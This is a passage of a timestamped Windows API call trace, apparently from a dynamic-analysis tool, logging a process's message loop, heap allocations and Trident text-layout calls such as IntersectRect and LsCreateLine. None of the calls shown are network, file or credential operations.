[0117.025] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.025] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.025] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.025] LsSetDoc () returned 0x0
[0117.026] LsCreateLine () returned 0x0
[0117.026] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.026] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.026] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.026] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.026] LsdnFinishRegular () returned 0x0
[0117.026] LsQueryLinePointPcp () returned 0x0
[0117.026] LsDestroyLine () returned 0x0
[0117.026] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.026] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.026] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.026] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.026] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.026] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.027] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.027] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.027] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.027] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.027] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.027] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.027] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.027] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.027] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.027] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.027] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.027] GetCursor () returned 0x10005
[0117.027] GetCurrentThreadId () returned 0x4e0
[0117.027] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.027] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.027] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.027] GetMessageTime () returned 43087
[0117.027] GetMessagePos () returned 0x1c4031f
[0117.027] GetCapture () returned 0x0
[0117.027] GetCurrentThreadId () returned 0x4e0
[0117.027] GetCurrentThreadId () returned 0x4e0
[0117.027] GetCurrentThreadId () returned 0x4e0
[0117.027] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.027] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.028] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.028] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.028] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.028] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.028] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.028] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.028] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.028] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.028] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.028] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.028] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.028] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.028] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.028] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.028] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.028] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.029] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.029] LsSetDoc () returned 0x0
[0117.029] LsCreateLine () returned 0x0
[0117.029] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.029] LsDestroyLine () returned 0x0
[0117.029] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.029] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.029] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.029] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.029] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.029] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.029] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.029] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.029] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.029] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.029] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.030] LsSetDoc () returned 0x0
[0117.030] LsCreateLine () returned 0x0
[0117.030] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.030] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.030] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.030] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.030] LsdnFinishRegular () returned 0x0
[0117.030] LsQueryLinePointPcp () returned 0x0
[0117.030] LsDestroyLine () returned 0x0
[0117.030] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.031] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.031] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.031] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.031] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.031] GetCurrentThreadId () returned 0x4e0
[0117.032] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.032] NtdllDefWindowProc_W () returned 0x0
[0117.032] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.032] GetCurrentThreadId () returned 0x4e0
[0117.032] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.032] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.032] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.032] GetCurrentThreadId () returned 0x4e0
[0117.032] GetCurrentThreadId () returned 0x4e0
[0117.032] GetCurrentThreadId () returned 0x4e0
[0117.032] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.033] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.033] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.033] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.033] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.033] GetCurrentThreadId () returned 0x4e0
[0117.033] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.033] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.033] GetMessageTime () returned 43103
[0117.033] GetMessagePos () returned 0x1c4031f
[0117.033] GetCapture () returned 0x0
[0117.033] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.033] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.033] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.033] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.033] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.033] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.033] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.033] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.033] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.033] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.033] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.034] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.034] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.034] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.034] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.034] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.034] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.034] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.034] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.034] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.034] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.035] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.035] LsSetDoc () returned 0x0
[0117.035] LsCreateLine () returned 0x0
[0117.035] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.035] LsDestroyLine () returned 0x0
[0117.035] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.035] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.035] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.035] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.035] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.035] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.035] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.035] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.036] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.036] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.036] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.036] LsSetDoc () returned 0x0
[0117.036] LsCreateLine () returned 0x0
[0117.036] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.036] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.036] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.036] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.036] LsdnFinishRegular () returned 0x0
[0117.036] LsQueryLinePointPcp () returned 0x0
[0117.037] LsDestroyLine () returned 0x0
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.037] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.037] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.037] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.037] GetCursor () returned 0x10005
[0117.037] GetCurrentThreadId () returned 0x4e0
[0117.037] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.037] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.037] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.038] GetMessageTime () returned 43103
[0117.038] GetMessagePos () returned 0x1c4031f
[0117.038] GetCapture () returned 0x0
[0117.038] GetCurrentThreadId () returned 0x4e0
[0117.038] GetCurrentThreadId () returned 0x4e0
[0117.038] GetCurrentThreadId () returned 0x4e0
[0117.038] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.038] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.038] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.038] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.038] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
